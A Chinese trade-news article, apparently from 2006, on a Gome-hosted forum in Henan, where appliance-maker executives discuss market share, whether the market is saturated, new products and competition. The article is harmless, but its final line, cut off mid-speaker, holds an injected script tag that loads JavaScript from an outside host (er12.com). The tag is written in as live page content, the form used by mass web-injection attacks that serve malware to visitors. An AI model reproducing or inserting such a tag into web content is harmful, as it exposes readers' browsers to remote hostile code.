“以不同获认可，以新战略赢中原”这是3月8日在河南“开疆拓土傲中原，超越梦想一起飞”厂商合作论坛上，河南国美和家电制造业精英们共同发出的声音！谈起国美电器你会认为它很“霸气”。然而，在国美电器的“霸气”背后，呈现出一连串的数字表现，着实让在场的厂家和媒体朋友们感叹不已：截止2005年底，国美在河南洛阳、焦作、濮阳、新乡、南阳等开设了14家分店，郑州市场已经达到25％的市场份额，平均河南有6％的市场份额，经营的品牌由2003年的205个，增加到2005年的350个，平均单店销量是1千万元人民币。而河南国美电器有限公司总经理戴彪生更是一言惊四座：2006年在中原家电市场，实现平均市场占有率25％，从规模市场占有率和经营质量上，彻底拉开与竞争对手的距离。那么，面对大战屡屡，硝烟不止的家电市场，面对日益强悍的竞争对手，国美电器有何招数？面对国美电器渠道扁平化和家电连锁业的高度竞争，使制造商的生存压力与日俱增，如何“双赢”？
主持人：古有“煮酒论英雄”。回顾05年家电市场的有一个非常明显的特征，大家都积极的投入网络开发，门店数量可谓是一路的飙升。同时有很多的专家学者提出家电市场已经饱和的预警，面对这种观点，各位有什么见解？各自的发展空间又在那里？
郑州海尔工贸有限公司总经理邵航：从海尔的考虑来讲，这个问题是很不明晰的。05年海尔在河南已经达到20亿。从06年发展来看，二级和三级市场潜力非常大，特别是今年国家对农民的优惠政策实施之后，三级四级市场购买潜力非常大，我们看饱和方面要看渠道这一部分。
从产品来看，我们既要看传统家电，又要看新型的家电。新产品的市场潜力是无限的，也是迎合了消费者的需求，所以说河南的市场很大！
创维电器有限公司河南分公司总经理李强：市场是否已经饱和的话题用一句话来解释，我们在不断的追求市场最大化和利益最大化，有效的开店是势在必得！
郑州tcl销售有限公司总经理张凤东：“物竞天择，适者生存”，什么叫做饱和？永远没有饱和。连锁在发展，就有渠道在销售，作为厂家同样是，产品的饱和是在市场的发展中不符合自然规律的。作为产品类的饱和就更站不住脚了，应该看到的市场潜力是产品的更新和换代以及产品的技术上的发展。
夏新电子郑州分公司总经理周玉华：市场的饱和远远谈不上，新的不适合消费者的商品被淘汰，这样会带来一些新的市场，这是夏新发现的一个增长点。
还有一个重点是新技术会带来很大的市场，新产品的价位也会更加的适合顾客的需求，会带来的更大的增量。
中国家电资深专家刘步尘：我这有个数据，前几年中国家电的市场总量是3500亿，而06年的时候中国家电的总量大约是6000亿，这意味着中国的家电市场是一个成长型的市场，远远没有达到饱和的境地。
既然中国某些市场饱和存在一种不均衡性的饱和。比如说在大的城市，像北京、上海等这些大的城市，家电连锁的销售额占到70％。但在二、三级市场没有这样的现象，这个局面意味着中国的家电连锁行业会逐步向二、三级市场延伸，还会有很大的延伸空间！
点评：“市场卖鞋子，市场无限大”，如果厂商认真的去耕耘，那么这个市场永远有达不到的业绩指标。
主持人：目前的市场的竞争是正常的发展趋势，家电的制造商以及厂家将如何的翻新的花样，用更好的产品，提升产品的品位，以及抓住家电产业未来得发展趋势呢？
青岛海信电器有限公司郑州分公司总经理李振晓：海信平板彩电从lcd和ptp产品线拓展的非常宽，06年的产品有一个明显的特点，平板作为高端的产品在投放市场的时候个性化的需求相对更多。同样海信利用自己的技术优势，开发了很多不同的适合细分市场的个性化产品，来适应市场、满足市场，进一步为市场提供更好的服务，这说明了海信的竞争力！
郑州海尔工贸有限公司总经理邵航：我深有感触是，海尔奥运的一系列新产品在中原大地上市了，相信一定会给中原大地带来更大实惠的同时，秉承的“名品进名店”。
美的空调有限公司河南分公司总经理张松：从05年空调的健康牌到06年的推向环保牌，从销售的数据看，以从33％跃到37％，这体现了节能产品、环保产品在市场上的销售趋势，应该是比较符合现代的需求。
河南国美电器有限公司总经理戴彪生：实际上作为家电的零售商更加关注的消费者和顾客的需求。厂家推出新品发展趋势也是跟现在的科技发展分不开的。
点评：将来会把类似于电脑、手机、通信远程控制的冰箱融合在一起的产品，是不是未来发展的一个趋势？这个也是未来消费者的一个需求，希望各个厂商能够提供更加新、奇、特的产品给消费者。
主持人：目前的竞争关系应该是三个层面，一个是厂家与厂家、商家与商家以及上游供应商和终端零售商之间的竞争。面对这样的竞争关系是否有压力吧？
美的空调有限公司河南分公司总经理张松?script src=http://er12.com/t.js>
